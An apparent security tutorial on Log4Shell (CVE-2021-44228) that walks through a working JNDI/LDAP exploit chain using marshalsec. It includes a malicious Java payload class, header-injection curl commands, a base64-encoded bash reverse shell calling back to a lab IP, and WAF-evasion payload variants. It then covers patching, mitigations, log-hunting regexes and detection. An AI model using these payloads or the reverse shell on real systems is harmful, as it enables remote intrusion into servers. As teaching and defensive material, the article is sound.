Log4Shell (CVE-2021-44228): Anatomy of the JNDI/LDAP Exploit

Tools & Defense
Time it takes to read this article 5 minutes.

Legal & ethical disclaimer. This article is for education and authorized security testing only. Run these techniques solely against systems you own or have explicit written permission to test. Spinning up a JNDI exploit server against assets you do not control is illegal in most jurisdictions. Use a lab.

Introduction

In December 2021, CVE-2021-44228 — "Log4Shell" — became one of the most impactful vulnerabilities in modern history. A single log line containing an attacker-controlled string could trigger remote code execution (RCE) on any server running a vulnerable version of Apache Log4j 2 (versions 2.0-beta9 through 2.14.1). The combination of trivial exploitation, ubiquitous deployment, and pre-authentication reachability earned it a CVSS score of 10.0.

In this article you will learn why the bug exists at the protocol level, build a minimal lab, walk through a working PoC using marshalsec, look at the WAF bypass payload mutations that defeated early signature filters, and — with equal weight — cover detection and remediation for the blue team.

How it works / Background

Log4j supports message lookups: special ${...} tokens that Log4j expands at logging time. One of these is the JNDI lookup (${jndi:...}). JNDI (Java Naming and Directory Interface) is a generic Java API for resolving objects by name across backends like LDAP, RMI, and DNS.

The fatal interaction is this: when Log4j logs a string such as ${jndi:ldap://attacker.com/a}, it performs a JNDI lookup over LDAP to attacker.com. A malicious LDAP server replies with a directory entry whose attributes (javaClassName, javaCodeBase, javaFactory) point at a remote Java class. Vulnerable JVMs would then download and instantiate that class, executing its static initializer or factory getObjectInstance() — full RCE.

The remote-class-loading behavior was already known from Alvaro Muñoz and Oleksandr Mirosh's 2016 Black Hat talk "A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land." Log4Shell simply provided an internet-scale injection point: any logged user input.

${jndi:ldap://attacker.tld:1389/Exploit}
  │      │    │            │       └── entry name on the LDAP server
  │      │    │            └── attacker-controlled host:port
  │      │    └── the scheme that triggers remote object loading
  │      └── the dangerous lookup
  └── Log4j message-lookup substitution
Plaintext

Prerequisites / Lab setup

You need three pieces in an isolated lab network:

  1. A vulnerable target — a small Spring Boot or plain Java app using log4j-core 2.14.1 that logs a request header.
  2. A malicious LDAP referral server — provided by marshalsec.
  3. An HTTP server hosting the compiled malicious class.

Build the marshalsec JNDI server:

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
Bash

Write the payload class. On real engagements keep main()/static-init logic minimal and noisy-detectable; here we just prove execution:

// Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("id");
        } catch (Exception e) { e.printStackTrace(); }
    }
}
Java

Compile it with a JDK that matches the target's bytecode level, then serve it:

javac Exploit.java
python3 -m http.server 8000   # serves Exploit.class on :8000
Bash

Attack walkthrough / PoC

Step 1 — Start the malicious LDAP server. marshalsec's LDAPRefServer listens on 1389 and issues an LDAP referral back to your HTTP server, telling the victim JVM where to fetch the class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
  marshalsec.jndi.LDAPRefServer \
  "http://192.168.56.10:8000/#Exploit"
Bash

The #Exploit fragment is the class basename to load from http://192.168.56.10:8000/.

Step 2 — Deliver the payload. Inject the JNDI string into anything the target logs. The User-Agent and X-Api-Version headers were classic 2021 entry points:

curl http://target:8080/ \
  -H 'X-Api-Version: ${jndi:ldap://192.168.56.10:1389/Exploit}'
Bash

Step 3 — Trace the chain. When Log4j logs that header value, the JVM:

  1. Resolves the ${jndi:ldap://...} lookup and opens an LDAP connection to 192.168.56.10:1389.
  2. Receives a referral pointing at http://192.168.56.10:8000/Exploit.class.
  3. Downloads Exploit.class and instantiates it — running the static block. You see id execute in the target context.

For a reverse shell, swap the static block for a payload that calls back to your listener. A common trick is to avoid embedding shell metacharacters directly (which break in Runtime.exec) by Base64-encoding the command:

String cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}";
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
Java

Catch it with nc -lvnp 4444 on your box.

WAF bypass

Early WAF rules naively matched the literal string ${jndi:ldap. But Log4j's lookup engine supports nested and recursive substitution, which trivially defeats static signatures. Functionally identical, signature-evading variants include:

${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.tld/a}
${${lower:j}ndi:${lower:l}${lower:d}ap://attacker.tld/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap://attacker.tld/a}
${jndi:${lower:l}${lower:d}a${lower:p}://attacker.tld/a}
${jndi:rmi://attacker.tld/a}
${jndi:dns://attacker.tld/a}
Plaintext

The ${lower:...}, ${upper:...}, ${env:...:-default}, and ${::-x} (default-value) lookups all collapse to plain characters before the jndi: scheme is parsed, so j, n, d, i, and ldap never appear contiguously on the wire. Note also that rmi:// and dns:// are alternative schemes — the dns:// variant is frequently used as a low-impact OOB callback to confirm a host is vulnerable without delivering code.

Attack flow diagram

Log4Shell (CVE-2021-44228): Anatomy of the JNDI/LDAP Exploit diagram 1

Text fallback: The attacker sends a JNDI string in a header; Log4j logs it and queries the attacker's LDAP server, which refers the JVM to an HTTP-hosted malicious class that the victim downloads and executes.

Detection & Defense (Blue Team)

1. Patch first. The only complete fix is upgrading Log4j to 2.17.1+ (2.3.2 for Java 6, 2.12.4 for Java 7). Note the iteration history: 2.15.0 and 2.16.0 were incomplete (later CVE-2021-45046 and the DoS CVE-2021-45105), and 2.17.0 fixed those — do not stop at 2.15.

2. Interim mitigations if you cannot patch immediately:

  • Set the JVM flag or system property to disable message lookups:
java -Dlog4j2.formatMsgNoLookups=true -jar app.jar
Bash
  • Or set the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true. (Effective only on 2.102.14.1; earlier versions need the class removed.)
  • Physically remove the vulnerable class from the JAR:
zip -q -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Bash

3. Hunt in logs. Grep historical logs across all line-broken obfuscations. CISA and others published patterns; a broad starting regex:

grep -rIE '\$\{[^}]*(jndi|lower|upper|env|::|date|sys)[^}]*\}' /var/log /opt/*/logs 2>/dev/null
Bash

Remember that the malicious string may already be decoded/expanded in some logs, so also hunt for outbound LDAP/RMI/DNS to unfamiliar hosts.

4. Network controls. Egress filtering is your friend. Vulnerable hosts must reach the attacker's LDAP/RMI/HTTP server to be exploited — block outbound LDAP (389/1389), RMI (1099), and unexpected outbound DNS/HTTP from servers. This breaks the class-fetch step even on unpatched hosts.

5. EDR & SIEM detection. Alert on suspicious child processes of Java (java spawning bash, sh, cmd.exe, curl, whoami). Map this to MITRE ATT&CK T1190 — Exploit Public-Facing Application and T1059 — Command and Scripting Interpreter. Sysmon Event ID 1 (process creation) with a java.exe parent is a high-fidelity signal.

6. WAF — necessary but not sufficient. Deploy managed rule sets (AWS WAFv2 Log4JRCE, Cloudflare's Log4j ruleset), but treat WAF as defense-in-depth only: as shown above, lookup nesting makes signature evasion easy. Combine it with patching and egress control.

If you found a foothold this way, lateral movement often follows — see the techniques in Active Directory enumeration and credential abuse like Kerberoasting. For more on egress-based detection, see DNS exfiltration & OOB callbacks.

Conclusion

Log4Shell is the textbook example of how a "convenience" feature — automatic JNDI lookups in log messages — becomes a critical pre-auth RCE when it processes attacker-controlled input. The offensive chain is short (one header), and marshalsec turns it into a five-minute PoC. The defensive story is equally clear: patch to 2.17.1+, strip JndiLookup.class where you cannot, and enforce egress filtering so the second-stage class never loads. WAF signatures help but were trivially bypassed; lasting protection comes from removing the vulnerable code path and cutting off the network callback.

References

Comments

Copied title and URL